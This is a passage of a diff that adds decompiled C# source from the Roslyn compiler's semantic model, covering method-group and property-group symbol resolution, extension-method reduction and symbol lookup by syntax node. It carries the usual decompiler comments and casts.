ImmutableArray.Enumerator enumerator2 = overriddenOrHiddenMembers.OverriddenMembers.GetEnumerator(); + while (enumerator2.MoveNext()) + { + Symbol current = enumerator2.Current; + if (val == null) + { + val = PooledHashSet.GetInstance(); + } + ((HashSet)(object)val).Add(current); + } + enumerator2 = overriddenOrHiddenMembers.HiddenMembers.GetEnumerator(); + while (enumerator2.MoveNext()) + { + Symbol current2 = enumerator2.Current; + if (val == null) + { + val = PooledHashSet.GetInstance(); + } + ((HashSet)(object)val).Add(current2); + } + } + ArrayBuilder instance = ArrayBuilder.GetInstance(); + enumerator = symbols.GetEnumerator(); + while (enumerator.MoveNext()) + { + IPropertySymbol val2 = (IPropertySymbol)enumerator.Current; + if (val == null || !((HashSet)(object)val).Contains((Symbol)val2.GetSymbol())) + { + instance.Add(val2); + } + } + val?.Free(); + return instance.ToImmutableAndFree(); + } + + private static ImmutableArray FilterOverriddenOrHiddenMethods(ImmutableArray methods) + { + if (methods.Length <= 1) + { + return methods; + } + HashSet hashSet = new HashSet(); + ImmutableArray.Enumerator enumerator = methods.GetEnumerator(); + while (enumerator.MoveNext()) + { + OverriddenOrHiddenMembersResult overriddenOrHiddenMembers = enumerator.Current.OverriddenOrHiddenMembers; + ImmutableArray.Enumerator enumerator2 = overriddenOrHiddenMembers.OverriddenMembers.GetEnumerator(); + while (enumerator2.MoveNext()) + { + Symbol current = enumerator2.Current; + hashSet.Add(current); + } + enumerator2 = overriddenOrHiddenMembers.HiddenMembers.GetEnumerator(); + while (enumerator2.MoveNext()) + { + Symbol current2 = enumerator2.Current; + hashSet.Add(current2); + } + } + return ImmutableArrayExtensions.WhereAsArray>(methods, (Func, bool>)((Microsoft.CodeAnalysis.CSharp.Symbols.MethodSymbol m, HashSet hiddenSymbols) => !hiddenSymbols.Contains(m)), hashSet); + } + + private OneOrMany GetMethodGroupSemanticSymbols(BoundMethodGroup boundNode, BoundNode boundNodeForSyntacticParent, Binder binderOpt, out LookupResultKind resultKind, out bool isDynamic, out ImmutableArray methodGroup) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_02c6: Unknown result type (might be due to invalid IL or missing references) + //IL_02af: Unknown result type (might be due to invalid IL or missing references) + //IL_02b4: Unknown result type (might be due to invalid IL or missing references) + //IL_0282: Unknown result type (might be due to invalid IL or missing references) + //IL_0287: Unknown result type (might be due to invalid IL or missing references) + //IL_0205: Unknown result type (might be due to invalid IL or missing references) + //IL_020a: Unknown result type (might be due to invalid IL or missing references) + //IL_022e: Unknown result type (might be due to invalid IL or missing references) + //IL_0233: Unknown result type (might be due to invalid IL or missing references) + //IL_024a: Unknown result type (might be due to invalid IL or missing references) + //IL_024f: Unknown result type (might be due to invalid IL or missing references) + //IL_01bc: Unknown result type (might be due to invalid IL or missing references) + //IL_01c1: Unknown result type (might be due to invalid IL or missing references) + //IL_0160: Unknown result type (might be due to invalid IL or missing references) + //IL_0165: Unknown result type (might be due to invalid IL or missing references) + //IL_0197: Unknown result type (might be due to invalid IL or missing references) + //IL_019c: Unknown result type (might be due to invalid IL or missing references) + //IL_0126: Unknown result type (might be due to invalid IL or missing references) + //IL_012b: Unknown result type (might be due to invalid IL or missing references) + //IL_0130: Unknown result type (might be due to invalid IL or missing references) + //IL_00ff: Unknown result type (might be due to invalid IL or missing references) + //IL_0104: Unknown result type (might be due to invalid IL or missing references) + OneOrMany result = OneOrMany.Empty; + resultKind = boundNode.ResultKind; + if (resultKind == LookupResultKind.Empty) + { + resultKind = LookupResultKind.Viable; + } + isDynamic = false; + Binder binder = binderOpt ?? GetEnclosingBinder(GetAdjustedNodePosition(boundNode.Syntax)); + methodGroup = ImmutableArrayExtensions.Cast(GetReducedAndFilteredMethodGroupSymbols(binder, boundNode)); + if (boundNodeForSyntacticParent != null) + { + BoundKind kind = boundNodeForSyntacticParent.Kind; + if (kind <= BoundKind.DynamicInvocation) + { + if (kind != BoundKind.BadExpression) + { + if (kind != BoundKind.Conversion) + { + if (kind != BoundKind.DynamicInvocation) + { + goto IL_0243; + } + result = OneOrMany.Create(ImmutableArrayExtensions.Cast(((BoundDynamicInvocation)boundNodeForSyntacticParent).ApplicableMethods)); + isDynamic = true; + } + else + { + BoundConversion boundConversion = (BoundConversion)boundNodeForSyntacticParent; + Microsoft.CodeAnalysis.CSharp.Symbols.MethodSymbol methodSymbol = boundConversion.SymbolOpt; + if ((object)methodSymbol == null) + { + goto IL_0243; + } + if (boundConversion.IsExtensionMethod) + { + methodSymbol = ReducedExtensionMethodSymbol.Create(methodSymbol); + } + result = OneOrMany.Create((Symbol)methodSymbol); + resultKind = boundConversion.ResultKind; + } + } + else + { + ImmutableArray immutableArray = methodGroup; + result = OneOrMany.Create(ImmutableArrayExtensions.WhereAsArray>(((BoundBadExpression)boundNodeForSyntacticParent).Symbols, (Func, bool>)((Symbol sym, ImmutableArray myMethodGroup) => myMethodGroup.Contains(sym)), immutableArray)); + if (result.Any()) + { + resultKind = ((BoundBadExpression)boundNodeForSyntacticParent).ResultKind; + } + } + } + else if (kind != BoundKind.Call) + { + if (kind != BoundKind.DelegateCreationExpression) + { + if (kind != BoundKind.NameOfOperator) + { + goto IL_0243; + } + result = OneOrMany.Create(methodGroup); + resultKind = resultKind.WorseResultKind(LookupResultKind.MemberGroup); + } + else + { + BoundDelegateCreationExpression boundDelegateCreationExpression = (BoundDelegateCreationExpression)boundNodeForSyntacticParent; + if (boundDelegateCreationExpression.Argument == boundNode && (object)boundDelegateCreationExpression.MethodOpt != null) + { + result = CreateReducedExtensionMethodIfPossible(boundDelegateCreationExpression, boundNode.ReceiverOpt); + } + } + } + else + { + BoundCall boundCall = (BoundCall)boundNodeForSyntacticParent; + if (boundCall.Syntax is InvocationExpressionSyntax invocationExpressionSyntax && invocationExpressionSyntax.Expression.SkipParens() == ((ExpressionSyntax)(object)boundNode.Syntax).SkipParens() && (object)boundCall.Method != null) + { + if (boundCall.OriginalMethodsOpt.IsDefault) + { + result = CreateReducedExtensionMethodIfPossible(boundCall); + resultKind = LookupResultKind.Viable; + } + else + { + resultKind = boundCall.ResultKind.WorseResultKind(LookupResultKind.OverloadResolutionFailure); + result = StaticCast.From(CreateReducedExtensionMethodsFromOriginalsIfNecessary(boundCall, Compilation)); + } + } + } + } + else if (methodGroup.Length == 1 && !boundNode.HasAnyErrors) + { + result = OneOrMany.Create(methodGroup); + if (result.Count > 0) + { + resultKind = resultKind.WorseResultKind(LookupResultKind.OverloadResolutionFailure); + } + } + goto IL_029f; + IL_029f: + if (!result.Any()) + { + result = OneOrMany.Create(methodGroup); + if (!isDynamic && (int)resultKind > 12) + { + resultKind = LookupResultKind.OverloadResolutionFailure; + } + } + return result; + IL_0243: + result = OneOrMany.Create(methodGroup); + if (result.Count > 0) + { + resultKind = resultKind.WorseResultKind(LookupResultKind.OverloadResolutionFailure); + } + goto IL_029f; + } + + private OneOrMany GetPropertyGroupSemanticSymbols(BoundPropertyGroup boundNode, BoundNode boundNodeForSyntacticParent, Binder binderOpt, out LookupResultKind resultKind, out ImmutableArray propertyGroup) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_0165: Unknown result type (might be due to invalid IL or missing references) + //IL_0153: Unknown result type (might be due to invalid IL or missing references) + //IL_0158: Unknown result type (might be due to invalid IL or missing references) + //IL_013d: Unknown result type (might be due to invalid IL or missing references) + //IL_0142: Unknown result type (might be due to invalid IL or missing references) + //IL_0105: Unknown result type (might be due to invalid IL or missing references) + //IL_010a: Unknown result type (might be due to invalid IL or missing references) + //IL_00c0: Unknown result type (might be due to invalid IL or missing references) + //IL_00c5: Unknown result type (might be due to invalid IL or missing references) + //IL_00ca: Unknown result type (might be due to invalid IL or missing references) + //IL_009a: Unknown result type (might be due to invalid IL or missing references) + //IL_009f: Unknown result type (might be due to invalid IL or missing references) + OneOrMany result = OneOrMany.Empty; + resultKind = boundNode.ResultKind; + if (resultKind == LookupResultKind.Empty) + { + resultKind = LookupResultKind.Viable; + } + propertyGroup = ImmutableArrayExtensions.Cast(boundNode.Properties); + if (boundNodeForSyntacticParent != null) + { + switch (boundNodeForSyntacticParent.Kind) + { + case BoundKind.IndexerAccess: + { + BoundIndexerAccess boundIndexerAccess = (BoundIndexerAccess)boundNodeForSyntacticParent; + if (boundIndexerAccess.Syntax is ElementAccessExpressionSyntax elementAccessExpressionSyntax && (object)elementAccessExpressionSyntax.Expression == boundNode.Syntax && (object)boundIndexerAccess.Indexer != null) + { + if (boundIndexerAccess.OriginalIndexersOpt.IsDefault) + { + result = OneOrMany.Create((Symbol)boundIndexerAccess.Indexer); + resultKind = LookupResultKind.Viable; + } + else + { + resultKind = boundIndexerAccess.ResultKind.WorseResultKind(LookupResultKind.OverloadResolutionFailure); + result = StaticCast.From(OneOrMany.Create(boundIndexerAccess.OriginalIndexersOpt)); + } + } + break; + } + case BoundKind.BadExpression: + { + ImmutableArray immutableArray = propertyGroup; + result = OneOrMany.Create(ImmutableArrayExtensions.WhereAsArray>(((BoundBadExpression)boundNodeForSyntacticParent).Symbols, (Func, bool>)((Symbol sym, ImmutableArray myPropertyGroup) => myPropertyGroup.Contains(sym)), immutableArray)); + if (result.Any()) + { + resultKind = ((BoundBadExpression)boundNodeForSyntacticParent).ResultKind; + } + break; + } + } + } + else if (propertyGroup.Length == 1 && !boundNode.HasAnyErrors) + { + result = OneOrMany.Create(propertyGroup); + } + if (!result.Any()) + { + result = OneOrMany.Create(propertyGroup); + if ((int)resultKind > 12) + { + resultKind = LookupResultKind.OverloadResolutionFailure; + } + } + return result; + } + + private SymbolInfo GetNamedArgumentSymbolInfo(IdentifierNameSyntax identifierNameSyntax, CancellationToken cancellationToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_0089: Unknown result type (might be due to invalid IL or missing references) + //IL_0065: Unknown result type (might be due to invalid IL or missing references) + //IL_005f: Unknown result type (might be due to invalid IL or missing references) + //IL_009a: Unknown result type (might be due to invalid IL or missing references) + //IL_009f: Unknown result type (might be due to invalid IL or missing references) + //IL_00d3: Unknown result type (might be due to invalid IL or missing references) + //IL_00cd: Unknown result type (might be due to invalid IL or missing references) + //IL_00ff: Unknown result type (might be due to invalid IL or missing references) + //IL_0104: Unknown result type (might be due to invalid IL or missing references) + //IL_0106: Unknown result type (might be due to invalid IL or missing references) + //IL_010a: Invalid comparison between Unknown and I4 + //IL_010c: Unknown result type (might be due to invalid IL or missing references) + //IL_0110: Invalid comparison between Unknown and I4 + //IL_0160: Unknown result type (might be due to invalid IL or missing references) + //IL_0165: Unknown result type (might be due to invalid IL or missing references) + //IL_0151: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken identifier = identifierNameSyntax.Identifier; + string valueText = ((SyntaxToken)(ref identifier)).ValueText; + if (valueText.Length == 0) + { + return SymbolInfo.None; + } + CSharpSyntaxNode parent = identifierNameSyntax.Parent.Parent.Parent; + if (((SyntaxNode?)(object)parent).IsKind(SyntaxKind.TupleExpression)) + { + ArgumentSyntax declaratorSyntax = (ArgumentSyntax)identifierNameSyntax.Parent.Parent; + ISymbol declaredSymbol = GetDeclaredSymbol(declaratorSyntax, cancellationToken); + if (declaredSymbol != null) + { + return new SymbolInfo(declaredSymbol); + } + return SymbolInfo.None; + } + if (((SyntaxNode?)(object)parent).IsKind(SyntaxKind.PropertyPatternClause) || ((SyntaxNode?)(object)parent).IsKind(SyntaxKind.PositionalPatternClause)) + { + return GetSymbolInfoWorker(identifierNameSyntax, SymbolInfoOptions.DefaultOptions, cancellationToken); + } + CSharpSyntaxNode parent2 = parent.Parent; + SymbolInfo symbolInfoWorker = GetSymbolInfoWorker(parent2, SymbolInfoOptions.DefaultOptions, cancellationToken); + if (((SymbolInfo)(ref symbolInfoWorker)).Symbol != null) + { + Microsoft.CodeAnalysis.CSharp.Symbols.ParameterSymbol parameterSymbol = FindNamedParameter(((SymbolInfo)(ref symbolInfoWorker)).Symbol.GetSymbol().GetParameters(), valueText); + if ((object)parameterSymbol != null) + { + return new SymbolInfo((ISymbol)(object)parameterSymbol.GetPublicSymbol()); + } + return SymbolInfo.None; + } + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ImmutableArray.Enumerator enumerator = ((SymbolInfo)(ref symbolInfoWorker)).CandidateSymbols.GetEnumerator(); + while (enumerator.MoveNext()) + { + ISymbol current = enumerator.Current; + SymbolKind kind = current.Kind; + if ((int)kind == 9 || (int)kind == 15) + { + Microsoft.CodeAnalysis.CSharp.Symbols.ParameterSymbol parameterSymbol2 = FindNamedParameter(current.GetSymbol().GetParameters(), valueText); + if ((object)parameterSymbol2 != null) + { + instance.Add((ISymbol)(object)parameterSymbol2.GetPublicSymbol()); + } + } + } + if (instance.Count == 0) + { + instance.Free(); + return SymbolInfo.None; + } + return new SymbolInfo(instance.ToImmutableAndFree(), ((SymbolInfo)(ref symbolInfoWorker)).CandidateReason); + } + + private static Microsoft.CodeAnalysis.CSharp.Symbols.ParameterSymbol FindNamedParameter(ImmutableArray parameters, string argumentName) + { + ImmutableArray.Enumerator enumerator = parameters.GetEnumerator(); + while (enumerator.MoveNext()) + { + Microsoft.CodeAnalysis.CSharp.Symbols.ParameterSymbol current = enumerator.Current; + if (current.Name == argumentName) + { + return current; + } + } + return null; + } + + internal static ImmutableArray GetReducedAndFilteredMethodGroupSymbols(Binder binder, BoundMethodGroup node) + { + //IL_0080: Unknown result type (might be due to invalid IL or missing references) + //IL_0087: Invalid comparison between Unknown and I4 + //IL_012c: Unknown result type (might be due to invalid IL or missing references) + //IL_0131: Unknown result type (might be due to invalid IL or missing references) + //IL_013e: Unknown result type (might be due to invalid IL or missing references) + //IL_0143: Unknown result type (might be due to invalid IL or missing references) + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ArrayBuilder instance2 = ArrayBuilder.GetInstance(); + LookupResultKind resultKind = LookupResultKind.Empty; + ImmutableArray typeArgumentsOpt = node.TypeArgumentsOpt; + if (node.Methods.Any()) + { + ImmutableArray.Enumerator enumerator = FilterOverriddenOrHiddenMethods(node.Methods).GetEnumerator(); + while (enumerator.MoveNext()) + { + Microsoft.CodeAnalysis.CSharp.Symbols.MethodSymbol current = enumerator.Current; + MergeReducedAndFilteredMethodGroupSymbol(instance, instance2, new SingleLookupResult(node.ResultKind, current, node.LookupError), typeArgumentsOpt, null, ref resultKind, binder.Compilation); + } + } + else + { + Symbol lookupSymbolOpt = node.LookupSymbolOpt; + if ((object)lookupSymbolOpt != null && (int)lookupSymbolOpt.Kind == 9) + { + MergeReducedAndFilteredMethodGroupSymbol(instance, instance2, new SingleLookupResult(node.ResultKind, lookupSymbolOpt, node.LookupError), typeArgumentsOpt, null, ref resultKind, binder.Compilation); + } + } + BoundExpression receiverOpt = node.ReceiverOpt; + string name = node.Name; + if (node.SearchExtensionMethods) + { + int arity; + LookupOptions options; + if (typeArgumentsOpt.IsDefault) + { + arity = 0; + options = LookupOptions.AllMethodsOnArityZero; + } + else + { + arity = typeArgumentsOpt.Length; + options = LookupOptions.Default; + } + binder = binder.WithAdditionalFlags(BinderFlags.SemanticModel); + ExtensionMethodScopeEnumerator enumerator2 = new ExtensionMethodScopes(binder).GetEnumerator(); + while (enumerator2.MoveNext()) + { + ExtensionMethodScope current2 = enumerator2.Current; + ArrayBuilder instance3 = ArrayBuilder.GetInstance(); + current2.Binder.GetCandidateExtensionMethods(instance3, name, arity, options, binder); + Enumerator enumerator3 = instance3.GetEnumerator(); + while (enumerator3.MoveNext()) + { + Microsoft.CodeAnalysis.CSharp.Symbols.MethodSymbol current3 = enumerator3.Current; + CompoundUseSiteInfo useSiteInfo = CompoundUseSiteInfo.Discarded; + MergeReducedAndFilteredMethodGroupSymbol(instance, instance2, binder.CheckViability(current3, arity, options, null, diagnose: false, ref useSiteInfo), typeArgumentsOpt, receiverOpt.Type, ref resultKind, binder.Compilation); + } + instance3.Free(); + } + } + instance.Free(); + return instance2.ToImmutableAndFree(); + } + + private static bool AddReducedAndFilteredMethodGroupSymbol(ArrayBuilder methods, ArrayBuilder filteredMethods, Microsoft.CodeAnalysis.CSharp.Symbols.MethodSymbol method, ImmutableArray typeArguments, Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol receiverType, CSharpCompilation compilation) + { + Microsoft.CodeAnalysis.CSharp.Symbols.MethodSymbol methodSymbol = ((typeArguments.IsDefaultOrEmpty || method.Arity != typeArguments.Length) ? method : method.Construct(typeArguments)); + if ((object)receiverType != null) + { + methodSymbol = methodSymbol.ReduceExtensionMethod(receiverType, compilation); + if ((object)methodSymbol == null) + { + return false; + } + } + if (filteredMethods.Contains(methodSymbol)) + { + return false; + } + methods.Add(method); + filteredMethods.Add(methodSymbol); + return true; + } + + private static void MergeReducedAndFilteredMethodGroupSymbol(ArrayBuilder methods, ArrayBuilder filteredMethods, SingleLookupResult singleResult, ImmutableArray typeArguments, Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol receiverType, ref LookupResultKind resultKind, CSharpCompilation compilation) + { + if ((object)singleResult.Symbol == null) + { + return; + } + LookupResultKind kind = singleResult.Kind; + if ((int)resultKind <= (int)kind) + { + if ((int)resultKind < (int)kind) + { + methods.Clear(); + filteredMethods.Clear(); + resultKind = LookupResultKind.Empty; + } + Microsoft.CodeAnalysis.CSharp.Symbols.MethodSymbol method = (Microsoft.CodeAnalysis.CSharp.Symbols.MethodSymbol)singleResult.Symbol; + if (AddReducedAndFilteredMethodGroupSymbol(methods, filteredMethods, method, typeArguments, receiverType, compilation) && (int)resultKind < (int)kind) + { + resultKind = kind; + } + } + } + + private static OneOrMany CreateReducedExtensionMethodsFromOriginalsIfNecessary(BoundCall call, CSharpCompilation compilation) + { + //IL_0088: Unknown result type (might be due to invalid IL or missing references) + ImmutableArray originalMethodsOpt = call.OriginalMethodsOpt; + Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol receiverType = null; + if (call.InvokedAsExtensionMethod) + { + receiverType = ((call.ReceiverOpt == null) ? call.Arguments[0].Type : call.ReceiverOpt.Type); + } + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ArrayBuilder instance2 = ArrayBuilder.GetInstance(); + ImmutableArray.Enumerator enumerator = FilterOverriddenOrHiddenMethods(originalMethodsOpt).GetEnumerator(); + while (enumerator.MoveNext()) + { + Microsoft.CodeAnalysis.CSharp.Symbols.MethodSymbol current = enumerator.Current; + AddReducedAndFilteredMethodGroupSymbol(instance, instance2, current, default(ImmutableArray), receiverType, compilation); + } + instance.Free(); + return ArrayBuilderExtensions.ToOneOrManyAndFree(instance2); + } + + private OneOrMany CreateReducedExtensionMethodIfPossible(BoundCall call) + { + //IL_004a: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Invalid comparison between Unknown and I4 + Microsoft.CodeAnalysis.CSharp.Symbols.MethodSymbol methodSymbol = call.Method; + if (call.InvokedAsExtensionMethod && methodSymbol.IsExtensionMethod && (int)methodSymbol.MethodKind != 13) + { + BoundExpression boundExpression = call.Arguments[0]; + methodSymbol = methodSymbol.ReduceExtensionMethod(boundExpression.Type, Compilation) ?? methodSymbol; + } + return OneOrMany.Create((Symbol)methodSymbol); + } + + private OneOrMany CreateReducedExtensionMethodIfPossible(BoundDelegateCreationExpression delegateCreation, BoundExpression receiverOpt) + { + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + Microsoft.CodeAnalysis.CSharp.Symbols.MethodSymbol methodSymbol = delegateCreation.MethodOpt; + if (delegateCreation.IsExtensionMethod && methodSymbol.IsExtensionMethod && receiverOpt != null) + { + methodSymbol = methodSymbol.ReduceExtensionMethod(receiverOpt.Type, Compilation) ?? methodSymbol; + } + return OneOrMany.Create((Symbol)methodSymbol); + } + + public abstract ForEachStatementInfo GetForEachStatementInfo(ForEachStatementSyntax node); + + public abstract ForEachStatementInfo GetForEachStatementInfo(CommonForEachStatementSyntax node); + + public abstract DeconstructionInfo GetDeconstructionInfo(AssignmentExpressionSyntax node); + + public abstract DeconstructionInfo GetDeconstructionInfo(ForEachVariableStatementSyntax node); + + public abstract AwaitExpressionInfo GetAwaitExpressionInfo(AwaitExpressionSyntax node); + + public PreprocessingSymbolInfo GetPreprocessingSymbolInfo(IdentifierNameSyntax node) + { + //IL_0076: Unknown result type (might be due to invalid IL or missing references) + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + //IL_0040: Unknown result type (might be due to invalid IL or missing references) + //IL_0049: Unknown result type (might be due to invalid IL or missing references) + //IL_004e: Unknown result type (might be due to invalid IL or missing references) + //IL_005d: Unknown result type (might be due to invalid IL or missing references) + //IL_0062: Unknown result type (might be due to invalid IL or missing references) + //IL_0070: Unknown result type (might be due to invalid IL or missing references) + CheckSyntaxNode(node); + if (((SyntaxNode)node).Ancestors(true).Any((SyntaxNode n) => SyntaxFacts.IsPreprocessorDirective(n.Kind()))) + { + SyntaxTree syntaxTree = SyntaxTree; + SyntaxToken identifier = node.Identifier; + string valueText = ((SyntaxToken)(ref identifier)).ValueText; + identifier = node.Identifier; + bool flag = syntaxTree.IsPreprocessorSymbolDefined(valueText, ((SyntaxToken)(ref identifier)).SpanStart); + identifier = node.Identifier; + return new PreprocessingSymbolInfo((IPreprocessingSymbol)(object)new PreprocessingSymbol(((SyntaxToken)(ref identifier)).ValueText), flag); + } + return PreprocessingSymbolInfo.None; + } + + internal static void ValidateSymbolInfoOptions(SymbolInfoOptions options) + { + } + + public ISymbol GetEnclosingSymbol(int position) + { + position = CheckAndAdjustPosition(position); + return GetEnclosingBinder(position)?.ContainingMemberOrLambda.GetPublicSymbol(); + } + + private SymbolInfo GetSymbolInfoFromNode(SyntaxNode node, CancellationToken cancellationToken) + { + //IL_006b: Unknown result type (might be due to invalid IL or missing references) + //IL_0074: Unknown result type (might be due to invalid IL or missing references) + //IL_007d: Unknown result type (might be due to invalid IL or missing references) + //IL_0086: Unknown result type (might be due to invalid IL or missing references) + //IL_0090: Unknown result type (might be due to invalid IL or missing references) + //IL_009a: Unknown result type (might be due to invalid IL or missing references) + //IL_00a4: Unknown result type (might be due to invalid IL or missing references) + //IL_00ae: Unknown result type (might be due to invalid IL or missing references) + //IL_00b4: Unknown result type (might be due to invalid IL or missing references) + if (node != null) + { + if (!(node is ExpressionSyntax expression)) + { + if (!(node is ConstructorInitializerSyntax constructorInitializer)) + { + if (!(node is PrimaryConstructorBaseTypeSyntax constructorInitializer2)) + { + if (!(node is AttributeSyntax attributeSyntax)) + { + if (!(node is CrefSyntax crefSyntax)) + { + if (!(node is SelectOrGroupClauseSyntax node2)) + { + if (!(node is OrderingSyntax node3)) + { + if (node is PositionalPatternClauseSyntax node4) + { + return GetSymbolInfo(node4, cancellationToken); + } + return SymbolInfo.None; + } + return GetSymbolInfo(node3, cancellationToken); + } + return GetSymbolInfo(node2, cancellationToken); + } + return GetSymbolInfo(crefSyntax, cancellationToken); + } + return GetSymbolInfo(attributeSyntax, cancellationToken); + } + return GetSymbolInfo(constructorInitializer2, cancellationToken); + } + return GetSymbolInfo(constructorInitializer, cancellationToken); + } + return GetSymbolInfo(expression, cancellationToken); + } + throw new ArgumentNullException("node"); + } + + private TypeInfo GetTypeInfoFromNode(SyntaxNode node, CancellationToken cancellationToken) + { + //IL_0047: Unknown result type (might be due to invalid IL or missing references) + //IL_0050: Unknown result type (might be due to invalid IL or missing references) + //IL_0059: Unknown result type (might be due to invalid IL or missing references) + //IL_0062: Unknown result type (might be due to invalid IL or missing references) + //IL_006c: Unknown result type (might be due to invalid IL or missing references) + //IL_0077: Unknown result type (might be due to invalid IL or missing references) + if (node != null) + { + if (!(node is ExpressionSyntax expression)) + { + if (!(node is ConstructorInitializerSyntax constructorInitializer)) + { + if (!(node is AttributeSyntax attributeSyntax)) + { + if (!(node is SelectOrGroupClauseSyntax node2)) + { + if (node is PatternSyntax pattern) + { + return GetTypeInfo(pattern, cancellationToken); + } + return CSharpTypeInfo.None; + } + return GetTypeInfo(node2, cancellationToken); + } + return GetTypeInfo(attributeSyntax, cancellationToken); + } + return GetTypeInfo(constructorInitializer, cancellationToken); + } + return GetTypeInfo(expression, cancellationToken); + } + throw new ArgumentNullException("node"); + } + + private ImmutableArray GetMemberGroupFromNode(SyntaxNode node, CancellationToken cancellationToken) + { + if (node != null) + { + if (!(node is ExpressionSyntax expression)) + { + if (!(node is ConstructorInitializerSyntax initializer)) + { + if (node is AttributeSyntax attribute) + { + return GetMemberGroup(attribute, cancellationToken); + } + return ImmutableArray.Empty; + } + return GetMemberGroup(initializer, cancellationToken); + } + return GetMemberGroup(expression, cancellationToken); + } + throw new ArgumentNullException("node"); + } + + protected sealed override ImmutableArray GetMemberGroupCore(SyntaxNode node, CancellationToken cancellationToken) + { + return StaticCast.From(GetMemberGroupFromNode(node, cancellationToken)); + } + + protected sealed override SymbolInfo GetSpeculativeSymbolInfoCore(int position, SyntaxNode node, SpeculativeBindingOption bindingOption) + { + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_003a: Unknown result type (might be due to invalid IL or missing references) + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + //IL_004c: Unknown result type (might be due to invalid IL or missing references) + //IL_0055: Unknown result type (might be due to invalid IL or missing references) + //IL_0060: Unknown result type (might be due to invalid IL or missing references) + //IL_0066: Unknown result type (might be due to invalid IL or missing references) + if (!(node is ExpressionSyntax expression)) + { + if (!(node is ConstructorInitializerSyntax constructorInitializer)) + { + if (!(node is PrimaryConstructorBaseTypeSyntax constructorInitializer2)) + { + if (!(node is AttributeSyntax attribute)) + { + if (node is CrefSyntax cref) + { + return GetSpeculativeSymbolInfo(position, cref); + } + return SymbolInfo.None; + } + return GetSpeculativeSymbolInfo(position, attribute); + } + return GetSpeculativeSymbolInfo(position, constructorInitializer2); + } + return GetSpeculativeSymbolInfo(position, constructorInitializer); + } + return GetSpeculativeSymbolInfo(position, expression, bindingOption); + } + + protected sealed override TypeInfo GetSpeculativeTypeInfoCore(int position, SyntaxNode node, SpeculativeBindingOption bindingOption) + { + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + if (!(node is ExpressionSyntax expression)) + { + return CSharpTypeInfo.None; + } + return GetSpeculativeTypeInfo(position, expression, bindingOption); + } + + protected sealed override IAliasSymbol GetSpeculativeAliasInfoCore(int position, SyntaxNode nameSyntax, SpeculativeBindingOption bindingOption) + { + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + if (!(nameSyntax is IdentifierNameSyntax nameSyntax2)) + { + return null; + } + return GetSpeculativeAliasInfo(position, nameSyntax2, bindingOption); + } + + protected sealed override SymbolInfo GetSymbolInfoCore(SyntaxNode node, CancellationToken cancellationToken) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + return GetSymbolInfoFromNode(node, cancellationToken); + } + + protected sealed override TypeInfo GetTypeInfoCore(SyntaxNode node, CancellationToken cancellationToken) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + return GetTypeInfoFromNode(node, cancellationToken); + } + + protected sealed override IAliasSymbol GetAliasInfoCore(SyntaxNode node, CancellationToken cancellationToken) + { + if (!(node is IdentifierNameSyntax nameSyntax)) + { + return null; + } + return GetAliasInfo(nameSyntax, cancellationToken); + } + + protected sealed override PreprocessingSymbolInfo GetPreprocessingSymbolInfoCore(SyntaxNode node) + { + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + if (!(node is IdentifierNameSyntax node2)) + { + return PreprocessingSymbolInfo.None; + } + return GetPreprocessingSymbolInfo(node2); + } + + protected sealed override ISymbol GetDeclaredSymbolCore(SyntaxNode node, CancellationToken cancellationToken) + { + cancellationToken.ThrowIfCancellationRequested(); + if (!(node is AccessorDeclarationSyntax declarationSyntax)) + { + if (!(node is BaseTypeDeclarationSyntax declarationSyntax2)) + { + if (!(node is QueryClauseSyntax queryClause)) + { + if (node is MemberDeclarationSyntax declarationSyntax3) + { + return GetDeclaredSymbol(declarationSyntax3, cancellationToken); + } + switch (node.Kind()) + { + case SyntaxKind.LocalFunctionStatement: + return GetDeclaredSymbol((LocalFunctionStatementSyntax)(object)node, cancellationToken); + case SyntaxKind.LabeledStatement: + return (ISymbol)(object)GetDeclaredSymbol((LabeledStatementSyntax)(object)node, cancellationToken); + case SyntaxKind.CaseSwitchLabel: + case SyntaxKind.DefaultSwitchLabel: + return (ISymbol)(object)GetDeclaredSymbol((SwitchLabelSyntax)(object)node, cancellationToken); + case SyntaxKind.AnonymousObjectCreationExpression: + return (ISymbol)(object)GetDeclaredSymbol((AnonymousObjectCreationExpressionSyntax)(object)node, cancellationToken); + case SyntaxKind.AnonymousObjectMemberDeclarator: + return (ISymbol)(object)GetDeclaredSymbol((AnonymousObjectMemberDeclaratorSyntax)(object)node, cancellationToken); + case SyntaxKind.TupleExpression: + return (ISymbol)(object)GetDeclaredSymbol((TupleExpressionSyntax)(object)node, cancellationToken); + case SyntaxKind.Argument: + return GetDeclaredSymbol((ArgumentSyntax)(object)node, cancellationToken); + case SyntaxKind.VariableDeclarator: + return GetDeclaredSymbol((VariableDeclaratorSyntax)(object)node, cancellationToken); + case SyntaxKind.SingleVariableDesignation: + return GetDeclaredSymbol((SingleVariableDesignationSyntax)(object)node, cancellationToken); + case SyntaxKind.TupleElement: + return GetDeclaredSymbol((TupleElementSyntax)(object)node, cancellationToken); + case SyntaxKind.NamespaceDeclaration: + return 